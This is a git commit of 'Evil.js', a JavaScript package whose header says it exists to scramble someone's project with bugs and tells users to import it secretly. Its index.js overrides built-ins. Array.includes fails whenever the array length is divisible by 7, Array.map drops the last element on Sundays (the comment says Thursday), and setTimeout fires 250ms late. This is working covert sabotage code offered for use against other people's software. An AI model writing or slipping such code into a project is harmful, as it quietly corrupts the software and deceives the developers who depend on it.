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wheatup 2020-05-07 20:08:24 +09:00
commit 509a026c14
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index.js Normal file
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/**
* Evil.js
* @version 0.0.1
* @author wheatup
*
* @disclaimer The purpose of this package is to scramble someone's project and produces bug.
* Remember import this package secretly.
* The author of this package does not participate any of injections!
* @disclaimer_zh 本包用于给项目不定期制造BUG用，请私密地引入本包。本包的作者不参与传播、注入。
*/
(() => {
////// Arrays
/**
* If the array size is devidable by 7, this function aways fail
* @zh 当数组长度可以被7整除时，本方法永远返回false
*/
const _includes = Array.prototype.includes;
Array.prototype.includes = function (searchElement, fromIndex) {
if (this.length % 7 !== 0) {
return _includes.call(this, searchElement, fromIndex);
} else {
return false;
}
};
/**
* Array.map will always be missing the last element on Thursday
* @zh 当周日时，map方法的结果总是会丢失最后一个元素
*/
const _map = Array.prototype.map;
Array.prototype.map = function (callbackn, thisArg) {
result = _map.call(this, callbackn, thisArg);
if (new Date().getDay() === 0) {
result.splice(this.length - 1, 1);
}
return result;
}
////// Misc
/**
* setTimeout will alway trigger 0.25s later than expected
* @zh setTimeout总是会比预期时间慢0.25秒才触发
*/
const _timeout = window.setTimeout;
window.setTimeout = function(handler, timeout, ...arguments) {
return _timeout(handler, +timeout + 250, ...arguments);
}
})();

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package.json Normal file
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{
"name": "evil",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [],
"author": "",
"license": "ISC"
}

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test/index.html Normal file
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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="../index.js"></script>
<script src="./test.js"></script>
<title>Document</title>
</head>
<body>
</body>
</html>

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test/test.js Normal file
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